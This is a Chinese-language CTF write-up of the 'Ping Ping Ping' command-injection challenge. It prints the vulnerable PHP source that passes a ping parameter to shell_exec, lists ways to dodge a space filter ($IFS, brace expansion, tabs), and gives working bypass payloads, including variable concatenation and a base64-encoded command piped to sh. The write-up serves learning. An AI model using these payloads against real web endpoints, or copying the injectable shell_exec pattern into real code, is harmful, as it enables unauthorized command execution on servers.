Ping Ping Ping

提示给了ping ip,直接猜命令执行拼接,试了一下

127.0.0.1;ls

发现是可以的,接下来就是cat flag.php,发现有过滤:

Linux表示空格有几种方法:

  1. %20(space)%09(tab)

  2. 使用<或者<>来绕过空格 cat<a.txt

  3. 花括号扩展{OS_COMMAND,ARGUMENT} {cat,/etc/passwd}

  4. $IFS 空格绕过 $IFS$9 ${IFS}

  5. 变量控制 X=$'cat\x09./flag.php

这里也稍微学习了一下$IFS是什么。

$IFS为内部域分隔符,在默认情况下可以表示空格,也可以自定义为换行符、Tab或者其他奇怪的符号。通常有这几种利用的方式:

$ cat$IFSflag.php #false Linux无法区分系统变量名
$ cat${IFS}flag.php #true 加上{}起到固定变量名的作用
$ cat$IFS$9flag.php #true $9为当前系统shell进程的第九个参数的持有者,其始终为字符串

这里绕过方式:

$ cat$IFS$9flag.php

然后发现flag被过滤了,但是index.php没有被过滤,利用命令执行读取index.php源码:

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

方式一:内联执行

a=f;d=ag;c=l;cat$IFS$a$c$d.php

利用字符串拼接,调换一下字符顺序,绕过过滤。

方式二:sh,bash下编码

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

利用base64绕过过滤。

Last updated